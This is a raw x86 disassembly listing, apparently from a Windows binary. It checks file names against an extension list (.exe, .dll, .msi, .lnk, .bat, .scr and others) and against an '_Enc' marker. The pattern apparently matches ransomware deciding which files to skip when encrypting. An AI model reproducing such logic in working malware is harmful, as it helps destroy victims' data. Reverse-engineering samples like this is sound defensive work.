mov dword [ebp - 0x454], 7
mov word [ebp - 0x468], cx
mov dword [ebp - 4], 0x13
test eax, 0x4000
je 0x41c292
mov edx, dword [ebp - 0x5c4]
and eax, 0xffffbfff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c275
mov ecx, dword [ebp - 0x5d8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c265
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5c8], 0
mov dword [ebp - 0x5c4], 7
mov word [ebp - 0x5d8], cx
mov dword [ebp - 4], 0x12
test eax, 0x2000
je 0x41c2f1
mov ecx, dword [ebp - 0x4d0]
and eax, 0xffffdfff
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41c2f1
mov edx, dword [ebp - 0x4e4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c2e1
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 0x11
test eax, 0x1000
je 0x41c36d
mov edx, dword [ebp - 0x46c]
and eax, 0xffffefff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c350
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c340
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], cx
mov dword [ebp - 4], 0x10
test eax, 0x800
je 0x41c3e9
mov edx, dword [ebp - 0x5dc]
and eax, 0xfffff7ff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c3cc
mov ecx, dword [ebp - 0x5f0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c3bc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], 7
mov word [ebp - 0x5f0], cx
mov dword [ebp - 4], 0xf
test eax, 0x400
je 0x41c465
mov edx, dword [ebp - 0x5f4]
and eax, 0xfffffbff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c448
mov ecx, dword [ebp - 0x608]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c438
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x5f4], 7
mov word [ebp - 0x608], cx
mov dword [ebp - 4], 0xe
test eax, 0x200
je 0x41c4e1
mov edx, dword [ebp - 0x60c]
and eax, 0xfffffdff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c4c4
mov ecx, dword [ebp - 0x620]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c4b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x60c], 7
mov word [ebp - 0x620], cx
mov dword [ebp - 4], 0xd
test eax, 0x100
je 0x41c55d
mov edx, dword [ebp - 0x624]
and eax, 0xfffffeff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c540
mov ecx, dword [ebp - 0x638]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c530
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 7
mov word [ebp - 0x638], cx
mov dword [ebp - 4], 0xc
test al, al
jns 0x41c5d6
mov edx, dword [ebp - 0x63c]
and eax, 0xffffff7f
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c5b9
mov ecx, dword [ebp - 0x650]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c5a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 7
mov word [ebp - 0x650], cx
mov dword [ebp - 4], 0xb
test al, 0x40
je 0x41c64d
mov edx, dword [ebp - 0x5a8]
and eax, 0xffffffbf
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c630
mov ecx, dword [ebp - 0x5bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c620
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5ac], 0
mov dword [ebp - 0x5a8], 7
mov word [ebp - 0x5bc], cx
mov dword [ebp - 4], 0xa
test al, 0x20
je 0x41c6a7
mov ecx, dword [ebp - 0x4b8]
and eax, 0xffffffdf
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41c6a7
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c697
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 9
test al, 0x10
je 0x41c71e
mov edx, dword [ebp - 0x484]
and eax, 0xffffffef
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c701
mov ecx, dword [ebp - 0x498]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c6f1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], cx
mov dword [ebp - 4], 8
test al, 8
je 0x41c795
mov edx, dword [ebp - 0x43c]
and eax, 0xfffffff7
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c778
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c768
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], cx
mov dword [ebp - 4], 7
test al, 4
je 0x41c7ef
mov ecx, dword [ebp - 0x654]
and eax, 0xfffffffb
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41c7ef
mov edx, dword [ebp - 0x428]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c7df
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 6
test al, 2
je 0x41c866
mov edx, dword [ebp - 0x49c]
and eax, 0xfffffffd
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c849
mov ecx, dword [ebp - 0x4b0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c839
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 7
mov word [ebp - 0x4b0], cx
mov dword [ebp - 4], 5
test al, 1
je 0x41c8ba
mov edx, dword [ebp - 0x66c]
and eax, 0xfffffffe
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41c8ba
mov ecx, dword [ebp - 0x680]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c8b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8f5
push edx
push ecx
call fcn.00490c3c
add esp, 8
cmp byte [ebp - 0x421], 0
jne 0x41cc3f
cmp byte [0x5200e8], 1
jne 0x41c8ee
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004312d0
call fcn.00418320
add esp, 0x18
cmp al, 1
je 0x41cc3f
mov eax, dword [ebp - 0x35c]
test al, 0x10
je 0x41cc4a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x330]
push 0x4fff18
push eax
call esi
test eax, eax
je 0x41cc3f
push 0x4fff1c
lea eax, [ebp - 0x330]
push eax
call esi
test eax, eax
je 0x41cc3f
mov eax, dword [ebp - 0x35c]
test al, 0x10
je 0x41cc4a
mov al, byte [0x5200e9]
test al, al
je 0x41c959
cmp al, 1
jne 0x41cc0d
cmp byte [0x5200ef], al
jne 0x41cc0d
push 0xb8
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.004a8980
push 0x4fff24
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x450]
call fcn.00439b40
add esp, 0x10
sub esp, 8
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x414]
push 0x20
push eax
call fcn.00433b00
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x43c]
cmp edx, 8
jb 0x41c9db
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41c9d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8fa
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x43c], 7
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x408], 6
je 0x41cb1c
push 0xb0
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.004a8980
push 0x4fff24
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x5bc]
call fcn.00439b40
add esp, 0x10
sub esp, 0xc
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x10c]
push eax
call fcn.00431e80
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x5a8]
cmp edx, 8
jb 0x41ca8f
mov ecx, dword [ebp - 0x5bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41ca85
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d8ff
push edx
push ecx
call fcn.00490c3c
add esp, 8
push dword [0x51fd10]
xor eax, eax
mov dword [ebp - 0x5ac], 0
cmp dword [0x51fd14], 8
lea ecx, [ebp - 0x10c]
mov edx, 0x51fd00
mov dword [ebp - 0x5a8], 7
cmovae edx, dword [0x51fd00]
mov word [ebp - 0x5bc], ax
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x108]
call fcn.00437450
test eax, eax
jne 0x41cb0d
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x10c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x1f
call fcn.0040ad10
cmp dword [ebp - 0x3b8], 0
lea esi, [ebp - 0x404]
jne 0x41cb2f
xor esi, esi
jmp 0x41cb56
lea ecx, [ebp - 0x404]
call fcn.00437930
push dword [ebp - 0x3b8]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x404]
call fcn.00437a00
test esi, esi
jne 0x41cb93
mov eax, dword [ebp - 0x414]
lea ecx, [ebp - 0x414]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x414]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x414]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x418], eax
lea ecx, [ebp - 0x404]
call fcn.004347b0
mov eax, dword [ebp - 0x414]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x414]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x418], eax
lea eax, [ebp - 0x3a4]
mov byte [ebp - 4], 0x23
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00478cbf
add esp, 4
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp + 0x20]
mov ecx, esp
mov dword [ebp - 0x428], esp
push eax
call fcn.004312d0
sub esp, 0x18
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004312d0
mov byte [ebp - 4], 5
call fcn.0041af50
add esp, 0x30
mov esi, dword [ebp - 0x418]
jmp 0x41d846
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
mov edx, esi
cmovae ecx, dword [ebp - 0x2c]
push 5
push str.__ID_
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41d679
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
push 6
cmovae ecx, dword [ebp - 0x2c]
mov edx, esi
push 0x4ff960
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41d679
lea ecx, [esi - 4]
mov dword [ebp - 0x4ec], 0
xor eax, eax
mov dword [ebp - 0x4e8], 7
mov word [ebp - 0x4fc], ax
cmp esi, ecx
jb 0x41d904
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4fc]
call fcn.00436c20
or edi, 0x8000
mov dword [ebp - 0x41c], edi
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x4fc]
mov esi, dword [ebp - 0x418]
or esi, 0x1000000
cmp dword [ebp - 0x4e8], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4fc]
cmp dword [ebp - 0x4ec], 4
jne 0x41cd4c
mov ecx, str..exe
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41cd4c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41cd30
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 7
mov word [ebp - 0x4e4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d909
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00436c20
or edi, 0x10000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x26
lea eax, [ebp - 0x4e4]
or esi, 0x2000000
cmp dword [ebp - 0x4d0], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4e4]
cmp dword [ebp - 0x4d4], 4
jne 0x41cdfd
mov ecx, str..dll
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41cdfd
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41cde1
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d90e
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00436c20
or edi, 0x20000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x27
lea eax, [ebp - 0x4cc]
or esi, 0x4000000
cmp dword [ebp - 0x4b8], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4cc]
cmp dword [ebp - 0x4bc], 4
jne 0x41ceae
mov ecx, str..msi
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41ceae
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41ce92
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d913
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x52c]
call fcn.00436c20
or edi, 0x40000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x28
lea eax, [ebp - 0x52c]
or esi, 0x8000000
cmp dword [ebp - 0x518], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x52c]
cmp dword [ebp - 0x51c], 4
jne 0x41cf5f
mov ecx, str..log
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41cf5f
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41cf43
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 7
mov word [ebp - 0x514], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d918
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x514]
call fcn.00436c20
or edi, 0x80000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x29
lea eax, [ebp - 0x514]
or esi, 0x10000000
cmp dword [ebp - 0x500], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x514]
cmp dword [ebp - 0x504], 4
jne 0x41d010
mov ecx, str..lnk
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d010
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41cff4
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], 7
mov word [ebp - 0x5a4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d91d
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x5a4]
call fcn.00436c20
or edi, 0x100000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2a
lea eax, [ebp - 0x5a4]
or esi, 0x20000000
cmp dword [ebp - 0x590], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x5a4]
cmp dword [ebp - 0x594], 4
jne 0x41d0c1
mov ecx, str..ini
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d0c1
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d0a5
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 7
mov word [ebp - 0x544], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d922
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x544]
call fcn.00436c20
or edi, 0x200000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2b
lea eax, [ebp - 0x544]
or esi, 0x40000000
cmp dword [ebp - 0x530], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x544]
cmp dword [ebp - 0x534], 4
jne 0x41d172
mov ecx, str..ico
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d172
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d156
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d927
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x55c]
call fcn.00436c20
or edi, 0x400000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2c
lea edi, [ebp - 0x55c]
or esi, 0x80000000
cmp dword [ebp - 0x548], 8
mov dword [ebp - 0x420], esi
cmovae edi, dword [ebp - 0x55c]
cmp dword [ebp - 0x54c], 4
jne 0x41d217
mov ecx, str..cmd
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41d217
add ecx, 2
sub edx, 1
jne 0x41d201
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 7
mov word [ebp - 0x574], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d92c
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x574]
call fcn.00436c20
mov dword [ebp - 4], 0x2d
lea edi, [ebp - 0x574]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x800001
cmp dword [ebp - 0x560], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x574]
cmp dword [ebp - 0x564], 4
mov dword [ebp - 0x418], ecx
jne 0x41d2bc
mov ecx, str..bat
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41d2bc
add ecx, 2
sub edx, 1
jne 0x41d2a6
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 7
mov word [ebp - 0x58c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d931
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x58c]
call fcn.00436c20
mov dword [ebp - 4], 0x2e
lea edi, [ebp - 0x58c]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x1000002
cmp dword [ebp - 0x578], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x58c]
cmp dword [ebp - 0x57c], 4
mov dword [ebp - 0x418], ecx
jne 0x41d366
mov ecx, str..scr
mov edx, 4
sub edi, ecx
nop dword [eax + eax]
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41d366
add ecx, 2
sub edx, 1
jne 0x41d350
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 7
mov word [ebp - 0x468], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d936
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x468]
call fcn.00436c20
mov dword [ebp - 4], 0x2f
lea edi, [ebp - 0x468]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x2000004
cmp dword [ebp - 0x454], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x468]
cmp dword [ebp - 0x458], 4
mov dword [ebp - 0x418], ecx
jne 0x41d40b
mov ecx, str..cpl
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41d40b
add ecx, 2
sub edx, 1
jne 0x41d3f5
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d93b
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x480]
call fcn.00436c20
mov dword [ebp - 4], 0x30
lea eax, [ebp - 0x480]
mov edi, dword [ebp - 0x41c]
or edi, 0x4000008
cmp dword [ebp - 0x46c], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x480]
cmp dword [ebp - 0x470], 4
mov dword [ebp - 0x418], edi
jne 0x41d4bc
mov ecx, str..icl
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d4bc
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d4a0
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41d940
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x498]
call fcn.00436c20
mov dword [ebp - 4], 0x31
lea eax, [ebp - 0x498]
or edi, 0x8000010
cmp dword [ebp - 0x484], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x498]
cmp dword [ebp - 0x488], 4
mov dword [ebp - 0x418], edi
jne 0x41d56c
mov ecx, str._Enc
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d56c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d550
jmp 0x41d67f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 7
mov word [ebp - 0x4b0], dx
lea ecx, [eax - 3]
cmp eax, ecx
jb 0x41d945
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 3
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00436c20
mov dword [ebp - 4], 0x32
lea eax, [ebp - 0x4b0]
or edi, 0x10000020
cmp dword [ebp - 0x49c], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x4b0]
